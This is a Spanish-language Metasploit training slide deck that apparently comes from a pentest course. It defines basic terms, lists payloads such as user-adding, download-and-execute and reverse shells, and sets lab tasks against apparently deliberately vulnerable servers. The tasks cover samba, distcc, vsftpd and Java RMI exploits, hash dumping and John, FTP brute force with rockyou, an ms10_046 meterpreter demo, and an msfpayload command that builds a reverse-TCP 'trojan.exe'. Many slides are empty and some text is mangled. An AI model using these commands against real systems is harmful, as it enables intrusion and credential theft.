Sie sind auf Seite 1von 12

Audit | Tax | Advisory 1

MetaSploit
Conceptos basicos:

FrameWork: En el desarrollo de software, un Framework es una


estructura de soporte definida en la cual otro proyecto de software puede
ser organizado y desarrollado. Tipicamente,un framework puede incluir
soporte de programas, librerias y un lenguaje de scripting entre otros
software para ayudar a desarrollar y unir los diferentes componentes de un
proyecto.
Exploit: Exploit (viene de to exploit - aprovechar) - cdigo escrito con el fin
de aprovechar un error de programacin para obtener diversos privilegios
Shell: Parte fundamental de un sistema operativo encargada de ejecutar
las rdenes bsicas para el manejo del sistema. Tambin se denomina
Shell. Suelen incorporar caractersticas tales como control de procesos,
redireccin de entrada/salida y un lenguaje de rdenes para escribir
programas por lotes o (scripts).
Audit | Tax | Advisory 2

1
MetaSploit
explicare los mas comunes.
win32_adduser: agregara un usuario(con permisos elevados) al
sistema que nos penetremos
win32_bind_vncinject: nos mostrara la pantalla del usuario con la
cual podemos manejar y controlar su equipo remotamente (un VNC).
win32_downloadexec: Descargara un archivo de algun servidor web
o ftp y lo ejecutara(entre ellos puede estar troyanos ).
win32_exec: Ejecutara un comando especificado por ti en la variable
CMD.
win32_reverse: Mi favorita. Nos dar una shell inversa por si tiene
firewall y no podemos abrir puertos.
win32_reverse_vncinject:Nos dar un VNC inverso por si tiene
firewall y no podemos abrir puertos.

Audit | Tax | Advisory 3

MetaSploit
recomiendo que solo rellenen las variables que digan required ya que
las
opcionales son para opciones mas avanzadas, aqu solo nos esta pidiendo
RHOST (host que atacaremos) y RPORT (puerto por el que se conectara),
nos puede pedir mas LHOST y LPORT (para conexiones inversas son el
host y el puerto que estar esperando la conexin para dar darle ordenes
en este caso tu IP y un puerto disponible de tu maquina), las dems
opciones las puedes llenar intuitivamente dependiendo del
exploit, ataque y etc que seleccionaste, para ir rellenando casa variable:
set [Variable] [Valor]
set RHOST IPVIctima
set RPORT PuertoDeLaVictima
en este caso RPORT tiene un valor por defaul como se ve en la imagen
(135) este no lo cambien a menos que sea necesario (que la victima tenga
el servicio en otro puerto).Una vez rellenadas todas las variables, solo
queda poner el comando:
exploit
Audit | Tax | Advisory 4

2
MetaSploit
Resumen:

Use module empezar usando un modulo.


Show options- mostrar las diferentes opciones configurables
Set nombre del variable valor- set option
Exploit- explotacion
Run- ejecucion
Help commando ayuda sobre un commando

Audit | Tax | Advisory 5

MetaSploit
Ejemplo:

Exploit netapi contra windows

Audit | Tax | Advisory 6

3
Explotando java
Tarea:
Lanzar exploit java_rmi_server contra servidor linux

Audit | Tax | Advisory 7

En este ataque realizarnos ataque de diccionario contra el servicio


Vnc en puerto TCP 5900 .
Usar el ataque auxiliary/scanner/vnc/vnc_login
Cuando se encuntrala contrasea usar vncviewer.

Audit | Tax | Advisory 8

4
Exploits:
Tarea:
Lanzar exploit distcc_exec contra el mismo IP

Lanzar exploit vsftpd

Audit | Tax | Advisory 9

Hacking servicio samba


Tarea:
Usar el exploit usermap_script cotra el servidor virtual.
Configurar payload cmd/unix/reverse
Ejecutar y poner la session en el background (ctrl Z)
Depsues ejecutar modulo post/linux/gather/hashdump para capturar los
hashes
Ejecutar John para relevar los hashes

Audit | Tax | Advisory 10

10

5
Usando John

Audit | Tax | Advisory 11

11

Hacking servicio samba


Tarea:
Usar el exploit usermap_script cotra el servidor virtual.
Configurar payload cmd/unix/reverse
Ejecutar y poner la session en el background (ctrl Z)
Depsues ejecutar modulo post/linux/gather/hashdump para capturar los
hashes
Ejecutar John para relevar los hashes

Audit | Tax | Advisory 12

12

6
Hacking Windows 7
Demostracion

exploit/windows/browser/ms10_046_shortcut_icon_dllloader

#msf > set payload windows/meterpreter/reverse_tcp

#msf > set SRVHOST local ip

#msf > set LHOST local ip

exploit

Audit | Tax | Advisory 13

13

Ataque fuerza bruta servicio FTP


1.Escanear la red interna y encontrar servicio FTP abierto (tcp21)
2.Dento msf usar el modulo auxiliary/scanner/ftp/ftp_login para realizar un
ataque fuerza bruta.

Audit | Tax | Advisory 14

14

7
Ataque fuerza bruta servicio FTP
Resolucin:
1.En MSF use auxiliary/scanner/ftp/ftp_login
2.set RHOSTS ip_servidor_ftp
3.set PASS_FILE /pentest/passwords/wordlists/rockyou.txt
4.set USER_FILE /pentest/passwords/wordlists/users.txt
5.Run

Audit | Tax | Advisory 15

15

Ataque fuerza bruta servicio FTP

Usando Hydra para realizar un ataque diccionario a servicio ftp:

Audit | Tax | Advisory 16

16

8
Explotacion!
El commando show payload nos permite verlos diferentes payloads que le
podemos enviar con el exploit, MSF mostrara solo los payloads compatibles
con el exploit.

Ahoraingresamosset payload windows/shell/reverse_tcppara


Seleccionar unaconexion reversa y nuevamenteShow options

Audit | Tax | Advisory 17

17

Buscando puertos de salida para el envio de


Shell remoto

Audit | Tax | Advisory 18

18

9
Audit | Tax | Advisory 19

19

Audit | Tax | Advisory 20

20

10
Audit | Tax | Advisory 21

21

Audit | Tax | Advisory 22

22

11
Crear un payload

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=6666 x > ~/Desktop/trojan.exe

Usar exploit/multi/handler

Audit | Tax | Advisory 23

23

SET

Demo Hacking Windows 7

Audit | Tax | Advisory 24

24

12